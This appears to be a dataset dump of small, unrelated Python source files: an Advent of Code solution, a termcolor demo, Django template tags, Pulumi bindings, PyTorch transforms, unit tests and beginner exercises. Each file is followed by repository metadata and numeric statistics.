[ "MIT" ]
null
null
null
import fileinput # "day6.txt" groups = [x.split() for x in ''.join(fileinput.input()).split('\n\n')] # part 1 print(sum(len(set([j for sub in group for j in sub])) for group in groups)) # part 2 print(sum(len(set.intersection(*[set(list(j)) for j in group])) for group in groups))
29.2
86
0.64726
53
292
3.566038
0.45283
0.084656
0.116402
0.148148
0
0
0
0
0
0
0
0.012397
0.171233
292
9
87
32.444444
0.768595
0.082192
0
0
0
0
0.015686
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0.5
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
b53809b9629204fc4062a7f81e9f288aeb36cec8
302
py
Python
modulo 03/script_03.py
p-g-krish/CursoSecurityToolsPython
7b2205a33d23166a37a6b8105b9ca5863855aa85
[ "Apache-2.0" ]
10
2020-02-13T03:14:29.000Z
2021-09-16T04:32:40.000Z
modulo 03/script_03.py
p-g-krish/CursoSecurityToolsPython
7b2205a33d23166a37a6b8105b9ca5863855aa85
[ "Apache-2.0" ]
null
null
null
modulo 03/script_03.py
p-g-krish/CursoSecurityToolsPython
7b2205a33d23166a37a6b8105b9ca5863855aa85
[ "Apache-2.0" ]
4
2020-02-18T23:42:23.000Z
2021-09-10T05:52:09.000Z
from termcolor import colored, cprint import sys text = colored('Hello, World!', 'red', attrs=['reverse', 'blink']) print(text) cprint('Hello, World!', 'green', 'on_red') for i in range(10): cprint(i, 'magenta', end=' ') cprint("Attention!",'red', attrs=['bold'], file=sys.stdout)
33.555556
68
0.622517
40
302
4.675
0.675
0.106952
0
0
0
0
0
0
0
0
0
0.007968
0.168874
302
8
69
37.75
0.737052
0
0
0
0
0
0.261905
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0.625
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
b53d20ea8c808f96c712a842e16ae3ddaa8b7e31
786
py
Python
argumenta.py
el3ctron/argumenta
3d66425b31a36940ba0dccb1361b250a06b02fec
[ "Apache-2.0" ]
null
null
null
argumenta.py
el3ctron/argumenta
3d66425b31a36940ba0dccb1361b250a06b02fec
[ "Apache-2.0" ]
null
null
null
argumenta.py
el3ctron/argumenta
3d66425b31a36940ba0dccb1361b250a06b02fec
[ "Apache-2.0" ]
null
null
null
class tabla_de_sesgos : def __init__(self) : self.sesgo = None # self.clase_de_sesgo = None # pass class marcador (reproductor, tabla_de_sesgos, registro_de_tiempos, medio) : def __init__(self) : pass def cargar_medio (self) : # returns pass def marcar_tiempos (self) : # returns pass def marcar_sesgo (self) : # returns pass def indicar_idea_general (self) : # returns pass class reproductor : '''(NULL)''' def __init__(self) : pass def cargar_medio (self) : # returns pass class registro_de_tiempos : def __init__(self) : self.medio = None # self.tiempo = None # self.espacio = None # pass class medio : def __init__(self) : self.audio = None # self.video = None # self.texto = None # self.imagen = None # pass
19.170732
75
0.664122
103
786
4.718447
0.281553
0.098765
0.113169
0.092593
0.248971
0.18107
0.18107
0.18107
0.18107
0.18107
0
0
0.234097
786
40
76
19.65
0.807309
0.06743
0
0.5
0
0
0
0
0
0
0
0
0
1
0.294118
false
0.294118
0
0
0.441176
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
b543980e156f1837cc8c91284aa02b3f5bbf8218
974
py
Python
Chapter 6/glossary_2.py
WilliamJaber/Python-Crash-Course
d87621785011039fbe0b42f0d8b6cd2364246577
[ "MIT" ]
null
null
null
Chapter 6/glossary_2.py
WilliamJaber/Python-Crash-Course
d87621785011039fbe0b42f0d8b6cd2364246577
[ "MIT" ]
null
null
null
Chapter 6/glossary_2.py
WilliamJaber/Python-Crash-Course
d87621785011039fbe0b42f0d8b6cd2364246577
[ "MIT" ]
5
2021-09-22T16:53:47.000Z
2022-03-24T00:56:49.000Z
glossary = { 'intger': 'is colloquially defined as a number that can be written without a fractional component.\n', 'iterate': 'is the repetition of a process in order to generate a sequence of outcomes.\n', 'indentation': 'is an empty space at the beginning of a line that groups particular blocks of code.\n', 'concatinate': 'is the operation of joining character strings end-to-end.\n', 'boolean': 'is a logical data type that can have only the values True or False.\n', 'loop': 'for loop iterates over an object until that object is complete.\n', 'tuple': 'is a immutable data structure that store an ordered sequence of values.\n', 'dictionary': 'is an unordered and mutable Python container that stores mappings of unique keys to values.\n', 'parse': 'is a command for dividing the given program code into a small piece of code for analyzing the correct syntax.', } for k, v in glossary.items(): print(f'{k.title()}: {v}')
64.933333
125
0.710472
155
974
4.464516
0.6
0.013006
0
0
0
0
0
0
0
0
0
0
0.194045
974
14
126
69.571429
0.881529
0
0
0
1
0.076923
0.822382
0
0
0
0
0
0
1
0
false
0
0
0
0
0.076923
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
b5441f2ff301c902adbb89a228a3e18af8032444
1,632
py
Python
tune/noniterative/objective.py
fugue-project/tune
bf2288ddcb29c8345d996a9b22c0910da9002da1
[ "Apache-2.0" ]
14
2021-03-03T20:02:09.000Z
2021-11-10T20:32:22.000Z
tune/noniterative/objective.py
fugue-project/tune
bf2288ddcb29c8345d996a9b22c0910da9002da1
[ "Apache-2.0" ]
26
2021-04-30T19:56:06.000Z
2022-01-18T04:40:00.000Z
tune/noniterative/objective.py
fugue-project/tune
bf2288ddcb29c8345d996a9b22c0910da9002da1
[ "Apache-2.0" ]
2
2021-04-30T03:12:21.000Z
2022-02-05T12:13:37.000Z
from tune.constants import TUNE_STOPPER_DEFAULT_CHECK_INTERVAL from typing import Any, Callable, Optional from tune._utils import run_monitored_process from tune.concepts.flow import Trial, TrialReport class NonIterativeObjectiveFunc: def generate_sort_metric(self, value: float) -> float: # pragma: no cover return value def run(self, trial: Trial) -> TrialReport: # pragma: no cover raise NotImplementedError def safe_run(self, trial: Trial) -> TrialReport: report = self.run(trial) return report.with_sort_metric(self.generate_sort_metric(report.metric)) class NonIterativeObjectiveLocalOptimizer: @property def distributable(self) -> bool: return True def run(self, func: NonIterativeObjectiveFunc, trial: Trial) -> TrialReport: # TODO: how to utilize execution_engine? return func.safe_run(trial) def run_monitored_process( self, func: NonIterativeObjectiveFunc, trial: Trial, stop_checker: Callable[[], bool], interval: Any = TUNE_STOPPER_DEFAULT_CHECK_INTERVAL, ) -> TrialReport: return run_monitored_process( self.run, [func, trial], {}, stop_checker=stop_checker, interval=interval ) def validate_noniterative_objective( func: NonIterativeObjectiveFunc, trial: Trial, validator: Callable[[TrialReport], None], optimizer: Optional[NonIterativeObjectiveLocalOptimizer] = None, ) -> None: _optimizer = optimizer or NonIterativeObjectiveLocalOptimizer() validator(_optimizer.run_monitored_process(func, trial, lambda: False, "1sec"))
33.306122
85
0.717525
171
1,632
6.654971
0.362573
0.043937
0.066784
0.102812
0.179262
0
0
0
0
0
0
0.000766
0.199755
1,632
48
86
34
0.870597
0.044118
0
0.111111
0
0
0.002571
0
0
0
0
0.020833
0
1
0.194444
false
0
0.111111
0.111111
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
1
0
0
0
2
b54756c2e6e68e661aab45de212b547f340ad633
2,603
py
Python
djadmin2/templatetags/admin2_tags.py
beezz/django-admin2
4aec1a3836011cd46e5eb8b6375590bf5a76c044
[ "BSD-3-Clause" ]
1
2015-04-30T13:34:03.000Z
2015-04-30T13:34:03.000Z
djadmin2/templatetags/admin2_tags.py
taxido/django-admin2
6a6b3d5f790b8289b0dd0f9194d80799af8804dc
[ "BSD-3-Clause" ]
1
2021-03-19T23:57:09.000Z
2021-03-19T23:57:09.000Z
djadmin2/templatetags/admin2_tags.py
RyanBalfanz/django-admin2
e7f0611eea22370bb3418e25e9cd10ddbac4fd6d
[ "BSD-3-Clause" ]
null
null
null
from django import template register = template.Library() from .. import utils @register.filter def admin2_urlname(view, action): """ Converts the view and the specified action into a valid namespaced URLConf name. """ return utils.admin2_urlname(view, action) @register.filter def model_app_label(obj): """ Returns the app label of a model instance or class. """ return utils.model_app_label(obj) @register.filter def model_verbose_name(obj): """ Returns the verbose name of a model instance or class. """ return utils.model_verbose_name(obj) @register.filter def model_verbose_name_plural(obj): """ Returns the pluralized verbose name of a model instance or class. """ return utils.model_verbose_name_plural(obj) @register.filter def formset_visible_fieldlist(formset): """ Returns the labels of a formset's visible fields as an array. """ return [f.label for f in formset.forms[0].visible_fields()] @register.filter def for_admin(permissions, admin): """ Only useful in the permission handling. This filter binds a new admin to the permission handler to allow checking views of an arbitrary admin. """ # some permission check has failed earlier, so we don't bother trying to # bind a new admin to it. if permissions == '': return permissions return permissions.bind_admin(admin) @register.filter def for_view(permissions, view): """ Only useful in the permission handling. This filter binds a new view to the permission handler to check for view names that are not known during template compile time. """ # some permission check has failed earlier, so we don't bother trying to # bind a new admin to it. if permissions == '': return permissions return permissions.bind_view(view) @register.filter def for_object(permissions, obj): """ Only useful in the permission handling. This filter binds a new object to the permission handler to check for object-level permissions. """ # some permission check has failed earlier, so we don't bother trying to # bind a new object to it. if permissions == '': return permissions return permissions.bind_object(obj) @register.simple_tag def get_attr(record, attribute_name): """ Allows dynamic fetching of model attributes in templates """ if attribute_name == "__str__": return record.__unicode__() attribute = getattr(record, attribute_name) if callable(attribute): return attribute() return attribute
26.835052
84
0.702651
354
2,603
5.059322
0.293785
0.062535
0.075935
0.036851
0.48297
0.45952
0.45952
0.383585
0.383585
0.3311
0
0.001478
0.220131
2,603
96
85
27.114583
0.880788
0.425279
0
0.341463
0
0
0.005193
0
0
0
0
0
0
1
0.219512
false
0
0.04878
0
0.609756
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
b553c83a33407279287a7fa673284b12f5a363b1
1,320
py
Python
consts.py
twyair/hebrew-verb-inflection
a85773a008ea3fc1b8c36f92ac3100315edee6b6
[ "MIT" ]
null
null
null
consts.py
twyair/hebrew-verb-inflection
a85773a008ea3fc1b8c36f92ac3100315edee6b6
[ "MIT" ]
null
null
null
consts.py
twyair/hebrew-verb-inflection
a85773a008ea3fc1b8c36f92ac3100315edee6b6
[ "MIT" ]
null
null
null
from __future__ import annotations from enum import Enum, auto class Paradigm(Enum): NONE = auto() KFULIM = auto() KFULIM_2 = auto() # used only for HUFAL NO_PREFIX = auto() # used for words like 'hUnDA!s', 'hU_wA!n', 'nI_sa!H', 'nI_qa!H' PE_ALEF = auto() # used only for PAAL PAAL_1 = auto() PAAL_2 = auto() PAAL_3 = auto() # some of the verbs that start with "[QRhj]" PAAL_4 = auto() PAAL_5 = auto() # some of the verbs that end with "a!Q" def is_kfulim(self) -> bool: return self in (Paradigm.KFULIM, Paradigm.KFULIM_2) def is_paal(self) -> bool: return self in ( Paradigm.PE_ALEF, Paradigm.PAAL_1, Paradigm.PAAL_2, Paradigm.PAAL_3, Paradigm.PAAL_4, Paradigm.PAAL_5, ) class Binyan(Enum): PAAL = auto() PIEL = auto() PUAL = auto() NIFAL = auto() HIFIL = auto() HUFAL = auto() HITPAEL = auto() class Pronoun(Enum): ANI = auto() ATA = auto() AT = auto() HU = auto() HI = auto() ANACNU = auto() ATEM = auto() ATEN = auto() HEM = auto() HEN = auto() # TODO: rename class Present(Enum): MALE_SINGULAR = auto() MALE_PLURAL = auto() FEMALE_SINGULAR = auto() FEMALE_PLURAL = auto()
22
88
0.559848
176
1,320
4.039773
0.426136
0.084388
0.033755
0.042194
0.140647
0.140647
0
0
0
0
0
0.013289
0.315909
1,320
59
89
22.372881
0.774086
0.147727
0
0
0
0
0
0
0
0
0
0.016949
0
1
0.041667
false
0
0.041667
0.041667
0.854167
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
1
0
0
2
b560237f424501f39681590b33c61e9846076455
2,429
py
Python
sdk/python/pulumi_lxd/__init__.py
soupdiver/pulumi-lxd
258395aefd6a4cf138d470d7de70babed3310063
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_lxd/__init__.py
soupdiver/pulumi-lxd
258395aefd6a4cf138d470d7de70babed3310063
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_lxd/__init__.py
soupdiver/pulumi-lxd
258395aefd6a4cf138d470d7de70babed3310063
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** from . import _utilities import typing # Export this package's modules as members: from .cached_image import * from .container import * from .container_file import * from .network import * from .profile import * from .provider import * from .publish_image import * from .snapshot import * from .storage_pool import * from .volume import * from .volume_container_attach import * from ._inputs import * from . import outputs # Make subpackages available: if typing.TYPE_CHECKING: import pulumi_lxd.config as config else: config = _utilities.lazy_import('pulumi_lxd.config') _utilities.register( resource_modules=""" [ { "pkg": "lxd", "mod": "index/profile", "fqn": "pulumi_lxd", "classes": { "lxd:index/profile:Profile": "Profile" } }, { "pkg": "lxd", "mod": "index/storagePool", "fqn": "pulumi_lxd", "classes": { "lxd:index/storagePool:StoragePool": "StoragePool" } }, { "pkg": "lxd", "mod": "index/volumeContainerAttach", "fqn": "pulumi_lxd", "classes": { "lxd:index/volumeContainerAttach:VolumeContainerAttach": "VolumeContainerAttach" } }, { "pkg": "lxd", "mod": "index/cachedImage", "fqn": "pulumi_lxd", "classes": { "lxd:index/cachedImage:CachedImage": "CachedImage" } }, { "pkg": "lxd", "mod": "index/container", "fqn": "pulumi_lxd", "classes": { "lxd:index/container:Container": "Container" } }, { "pkg": "lxd", "mod": "index/network", "fqn": "pulumi_lxd", "classes": { "lxd:index/network:Network": "Network" } }, { "pkg": "lxd", "mod": "index/volume", "fqn": "pulumi_lxd", "classes": { "lxd:index/volume:Volume": "Volume" } }, { "pkg": "lxd", "mod": "index/containerFile", "fqn": "pulumi_lxd", "classes": { "lxd:index/containerFile:ContainerFile": "ContainerFile" } }, { "pkg": "lxd", "mod": "index/publishImage", "fqn": "pulumi_lxd", "classes": { "lxd:index/publishImage:PublishImage": "PublishImage" } }, { "pkg": "lxd", "mod": "index/snapshot", "fqn": "pulumi_lxd", "classes": { "lxd:index/snapshot:Snapshot": "Snapshot" } } ] """, resource_packages=""" [ { "pkg": "lxd", "token": "pulumi:providers:lxd", "fqn": "pulumi_lxd", "class": "Provider" } ] """ )
19.58871
87
0.627419
265
2,429
5.649057
0.290566
0.078156
0.088176
0.09352
0.180361
0.180361
0
0
0
0
0
0.000503
0.181968
2,429
123
88
19.747967
0.752894
0.101688
0
0.278261
1
0
0.734375
0.215533
0
0
0
0
0
1
0
false
0
0.147826
0
0.147826
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
b5843a61298c91586c4a21bf7567496274b5cfe9
592
py
Python
tests/utils/test_bbox.py
Swall0w/clib
46f659783d5a0a6ec5994c3c707c1cc8a7934385
[ "MIT" ]
1
2017-08-27T00:01:27.000Z
2017-08-27T00:01:27.000Z
tests/utils/test_bbox.py
Swall0w/clib
46f659783d5a0a6ec5994c3c707c1cc8a7934385
[ "MIT" ]
49
2017-08-20T02:09:26.000Z
2017-12-31T11:58:27.000Z
tests/utils/test_bbox.py
Swall0w/clib
46f659783d5a0a6ec5994c3c707c1cc8a7934385
[ "MIT" ]
1
2017-12-08T08:31:38.000Z
2017-12-08T08:31:38.000Z
import os import unittest import clib from clib.utils import Box class BboxTest(unittest.TestCase): def setUp(self): self.bbox = Box(50, 50, 40, 60) def test_vi_bbox(self): self.assertEqual(self.bbox.int_left_top(), (30, 20)) self.assertEqual(self.bbox.int_right_bottom(), (70, 80)) self.assertEqual(self.bbox.left_top(), [30.0, 20.0]) self.assertEqual(self.bbox.right_bottom(), [70.0, 80.0]) self.bbox.crop_region(5, 5) self.assertEqual(self.bbox.right_bottom(), [5.0, 5.0]) if __name__ == '__main__': unittest.main()
26.909091
64
0.646959
89
592
4.101124
0.404494
0.153425
0.260274
0.315068
0.328767
0.186301
0
0
0
0
0
0.071579
0.197635
592
21
65
28.190476
0.696842
0
0
0
0
0
0.013514
0
0
0
0
0
0.3125
1
0.125
false
0
0.25
0
0.4375
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
b59a9f26b84db7052d875507a0706016c6d4734b
108
py
Python
max_two_numbers.py
sayaliborade/My-Programming-Space
a7ac4436afa76143f4961e043097d33076532b6d
[ "MIT" ]
null
null
null
max_two_numbers.py
sayaliborade/My-Programming-Space
a7ac4436afa76143f4961e043097d33076532b6d
[ "MIT" ]
null
null
null
max_two_numbers.py
sayaliborade/My-Programming-Space
a7ac4436afa76143f4961e043097d33076532b6d
[ "MIT" ]
null
null
null
num1 = 5 num2 = 4 max_num = max(num1,num2) print("Max between {0} and {1} is {2}".format(num1,num2,max_num))
27
65
0.666667
22
108
3.181818
0.636364
0.171429
0
0
0
0
0
0
0
0
0
0.11828
0.138889
108
4
65
27
0.634409
0
0
0
0
0
0.275229
0
0
0
0
0
0
1
0
false
0
0
0
0
0.25
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
b59b156deb529184049dc84975771504d0687be0
298
py
Python
scipy/stats/anova/examples/twoway/sokalrohlf_box11_1.py
WarrenWeckesser/scipywork
e74888e8909022575f3b3effc28f1496f4f3fde6
[ "MIT" ]
null
null
null
scipy/stats/anova/examples/twoway/sokalrohlf_box11_1.py
WarrenWeckesser/scipywork
e74888e8909022575f3b3effc28f1496f4f3fde6
[ "MIT" ]
1
2020-03-07T05:20:36.000Z
2020-03-07T05:20:36.000Z
scipy/stats/anova/examples/twoway/sokalrohlf_box11_1.py
WarrenWeckesser/scipywork
e74888e8909022575f3b3effc28f1496f4f3fde6
[ "MIT" ]
null
null
null
# ANOVA example from Sokal & Rohlf (fourth ed.), Box 11.1 import numpy as np from anova import anova_twoway_balanced consumption = np.array( [[[709, 679, 699], [592, 538, 476]], [[657, 594, 677], [508, 505, 539]]]) result = anova_twoway_balanced(consumption) print(result)
19.866667
57
0.651007
42
298
4.52381
0.761905
0.115789
0.2
0.315789
0
0
0
0
0
0
0
0.165957
0.211409
298
14
58
21.285714
0.642553
0.184564
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.222222
0
0.222222
0.111111
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
b5a053b0143ef5854f560bee76e6b4b427176e12
384
py
Python
WAISN/Database/admin.py
willkendall01/WAISN-Fellowship
bf638d9ae124e5e51518b6dc53e32023bb2ca027
[ "MIT" ]
null
null
null
WAISN/Database/admin.py
willkendall01/WAISN-Fellowship
bf638d9ae124e5e51518b6dc53e32023bb2ca027
[ "MIT" ]
null
null
null
WAISN/Database/admin.py
willkendall01/WAISN-Fellowship
bf638d9ae124e5e51518b6dc53e32023bb2ca027
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Product from .forms import CreateProductForm # Improves upon the basic admin page functionality by # displaying the database as a formatted table class CreateProductAdmin(admin.ModelAdmin): list_display = ["product_name", "product_quantity"] form = CreateProductForm admin.site.register(Product, CreateProductAdmin)
25.6
55
0.796875
45
384
6.733333
0.711111
0
0
0
0
0
0
0
0
0
0
0
0.143229
384
14
56
27.428571
0.920973
0.255208
0
0
0
0
0.09894
0
0
0
0
0
0
1
0
false
0
0.428571
0
0.857143
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
b5a44828d5483c6c45161cfac8ca00bdef446848
102
py
Python
Ex066.py
leonardoDelefrate/Curso-de-Python
60313563c4d40f24a318a6d24da941730f04b8b0
[ "MIT" ]
null
null
null
Ex066.py
leonardoDelefrate/Curso-de-Python
60313563c4d40f24a318a6d24da941730f04b8b0
[ "MIT" ]
null
null
null
Ex066.py
leonardoDelefrate/Curso-de-Python
60313563c4d40f24a318a6d24da941730f04b8b0
[ "MIT" ]
null
null
null
lanche = ('Hamburguer', 'Suco', 'Pizza', 'Pudim') for c in range(0, len(lanche)): print(lanche[c])
34
49
0.617647
15
102
4.2
0.8
0
0
0
0
0
0
0
0
0
0
0.011494
0.147059
102
3
50
34
0.712644
0
0
0
0
0
0.23301
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
b5a8ce20825359ee43189cb3855431dba7b2a76f
424
py
Python
structural/adapter/test_client.py
pascalweiss/gof_design_patterns
d142ebf21bb1a1e7925b0e7915eb6d857df58299
[ "Apache-2.0" ]
null
null
null
structural/adapter/test_client.py
pascalweiss/gof_design_patterns
d142ebf21bb1a1e7925b0e7915eb6d857df58299
[ "Apache-2.0" ]
null
null
null
structural/adapter/test_client.py
pascalweiss/gof_design_patterns
d142ebf21bb1a1e7925b0e7915eb6d857df58299
[ "Apache-2.0" ]
null
null
null
import unittest from hamcrest import equal_to, assert_that from structural.adapter.adapter import InvokerTargetAdapter from structural.adapter.target import InvokerTarget def target_invoker(target: InvokerTarget): return target.request() class TestClient(unittest.TestCase): def test(self): target = InvokerTargetAdapter() assert_that(target_invoker(target), equal_to("Response by UserTarget"))
26.5
79
0.785377
48
424
6.8125
0.520833
0.042813
0.12844
0
0
0
0
0
0
0
0
0
0.141509
424
15
80
28.266667
0.898352
0
0
0
0
0
0.051887
0
0
0
0
0
0.2
1
0.2
false
0
0.4
0.1
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
b5ad8a76a11325ddca7cdc3828c5aa0284e06719
1,926
py
Python
ontology_learning/data_type/knowledge_graph/knowledge_graph_node.py
jromero132/bachelor_thesis_code
1eea2876abdece9628d6fdec115e93bbf2722e99
[ "MIT" ]
null
null
null
ontology_learning/data_type/knowledge_graph/knowledge_graph_node.py
jromero132/bachelor_thesis_code
1eea2876abdece9628d6fdec115e93bbf2722e99
[ "MIT" ]
null
null
null
ontology_learning/data_type/knowledge_graph/knowledge_graph_node.py
jromero132/bachelor_thesis_code
1eea2876abdece9628d6fdec115e93bbf2722e99
[ "MIT" ]
null
null
null
from ..annotation.attribute import Attribute from ..annotation.relation import Relation from .knowledge_graph_edge import KnowledgeGraphEdge from ontology_learning.utils.hash import get_hash class KnowledgeGraphNode(object): def __init__(self, label, type_): self.label = " ".join(sorted(set(label.split(" ")))) self.type = type_ self.edges = set() self.reversed_edges = set() def __repr__(self): return f"{type(self).__name__}(label={self.label}, type={self.type})" def __str__(self): return self.__repr__() def __eq__(self, other): return self.label == other.label and self.type == other.type def __ne__(self, other): return not self.__eq__(other) def __hash__(self): return get_hash(self.__repr__()) def add_edge(self, to_node, label = ""): self.edges.add(KnowledgeGraphEdge(to_node, label)) def add_reversed_edge(self, to_node, label = ""): self.reversed_edges.add(KnowledgeGraphEdge(to_node, label)) class KnowledgeGraphSimpleNode(KnowledgeGraphNode): def __init__(self, keyphrase): super(KnowledgeGraphSimpleNode, self).__init__(keyphrase.lemmatized, keyphrase.label) self.keyphrase = keyphrase class KnowledgeGraphAttributeNode(KnowledgeGraphNode): def __init__(self, node, attributes, type_): def get_attribute_label(label): _label = label.lower() if _label == "uncertain": return "?" elif _label == "negated": return "¬" elif _label == "diminished": return "↓" elif _label == "emphasized": return "↑" return label super(KnowledgeGraphAttributeNode, self).__init__( " ".join([ get_attribute_label(a.label) for a in attributes ] + [ node.label ]), type_ ) self.node = node self.attributes = list(attributes) class KnowledgeGraphCompouseNode(KnowledgeGraphNode): def __init__(self, nodes, type_): super(KnowledgeGraphCompouseNode, self).__init__(" ".join(node.label for node in nodes), type_) self.nodes = list(nodes)
30.571429
97
0.731568
234
1,926
5.636752
0.269231
0.036391
0.033359
0.065959
0.090978
0.090978
0
0
0
0
0
0
0.141225
1,926
63
98
30.571429
0.795647
0
0
0
0
0
0.053451
0.021277
0
0
0
0
0
1
0.235294
false
0
0.078431
0.098039
0.588235
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
a90a5cf5add76b19b473f9f00bc495423c4006b7
2,418
py
Python
src/adawat/transforms.py
rafidka/adawat
81828bbea2c3d06d560d6bdbea698b2427dd9917
[ "MIT" ]
null
null
null
src/adawat/transforms.py
rafidka/adawat
81828bbea2c3d06d560d6bdbea698b2427dd9917
[ "MIT" ]
4
2020-08-02T23:50:50.000Z
2020-08-29T02:19:34.000Z
src/adawat/transforms.py
rafidka/adawat
81828bbea2c3d06d560d6bdbea698b2427dd9917
[ "MIT" ]
null
null
null
from typing import Any, TypeVar, Generic, Callable, List import numpy as np import torch class Compose(object): """ Compose multiple transforms together, applying the first, then the second, and so on until the last. """ def __init__(self, *args): self.transforms = args def __call__(self, obj): for transform in self.transforms: obj = transform(obj) return obj TWord = TypeVar('TWord') TIdx = TypeVar('TIdx') class WordToIndex(Generic[TWord, TIdx]): """ Converts words to indices based on a dictionary. """ def __init__(self, word2idx: Callable[[TWord], TIdx]): """ word2idx -- A function that retrieves a unique index for a word. """ self.word2idx = word2idx def __call__(self, word: TWord) -> TIdx: return self.word2idx(word) class WordsToIndices(Generic[TWord, TIdx]): """ List-version of WordToIndex transform, i.e. coverts multiple words to their corresponding indices. """ def __init__(self, word2idx: Callable[[TWord], TIdx]): """ word2idx -- A function that retrieves a unique index for a word. """ self.word2idx = word2idx def __call__(self, words: List[TWord]) -> List[TIdx]: return [self.word2idx(word) for word in words] class WordToOneHot(Generic[TWord, TIdx]): """ Converts words to one-hot encoding based on a dictionary. """ def __init__(self, word2idx: Callable[[TWord], TIdx], vocab_size: int): """ word2idx -- A function that retrieves a unique index for a word. vocab_size -- The size of the dictionary. This is used to decide the size of the one-hot vector. """ self.word2idx = word2idx self.vocab_size = vocab_size def __call__(self, word: TWord) -> TIdx: idx = self.word2idx(word) onehot = [0] * self.vocab_size onehot[idx] = 1 return onehot class ToPyTorchTensor(object): """ Converts a Python list or a NumPy list to a PyTorch vector. """ def __init__(self, dtype, device=None): self.dtype = dtype self.device = device def __call__(self, list): if self.device is not None: return torch.tensor(list, dtype=self.dtype, device=self.device) else: return torch.tensor(list, dtype=self.dtype)
26.282609
79
0.61828
298
2,418
4.865772
0.302013
0.055862
0.037931
0.03931
0.395172
0.362069
0.293793
0.245517
0.245517
0.245517
0
0.009765
0.279983
2,418
91
80
26.571429
0.82309
0.277916
0
0.175
0
0
0.005707
0
0
0
0
0
0
1
0.25
false
0
0.075
0.05
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
a91cd484fb7ee6f69e7e02fdf7a857174e746328
295
py
Python
Labs/Wave_3_labs/unzip.py
Babawale/WeJapaInternship
0a8ada12c08d5129934868b0e2c80d72f3045ed0
[ "MIT" ]
null
null
null
Labs/Wave_3_labs/unzip.py
Babawale/WeJapaInternship
0a8ada12c08d5129934868b0e2c80d72f3045ed0
[ "MIT" ]
null
null
null
Labs/Wave_3_labs/unzip.py
Babawale/WeJapaInternship
0a8ada12c08d5129934868b0e2c80d72f3045ed0
[ "MIT" ]
null
null
null
#Unzip Tuples #Unzip the cast tuple into two names and heights tuples. cast = (("Barney", 72), ("Robin", 68), ("Ted", 72), ("Lily", 66), ("Marshall", 76)) # define names and heights here names, heights = zip(*cast) # unzips cast into two tuples(names and heights) print(names) print(heights)
26.818182
83
0.677966
44
295
4.545455
0.545455
0.12
0.225
0
0
0
0
0
0
0
0
0.040323
0.159322
295
10
84
29.5
0.766129
0.488136
0
0
0
0
0.176871
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
a947b10cb0870e9e229f94e7dbdc49713a33eb91
1,216
py
Python
ntc103f397/ntc103f397.py
hhk7734/avr_proj
cb0c5c53af7eb8a0924f8c483a1a010be4b92636
[ "MIT" ]
null
null
null
ntc103f397/ntc103f397.py
hhk7734/avr_proj
cb0c5c53af7eb8a0924f8c483a1a010be4b92636
[ "MIT" ]
null
null
null
ntc103f397/ntc103f397.py
hhk7734/avr_proj
cb0c5c53af7eb8a0924f8c483a1a010be4b92636
[ "MIT" ]
null
null
null
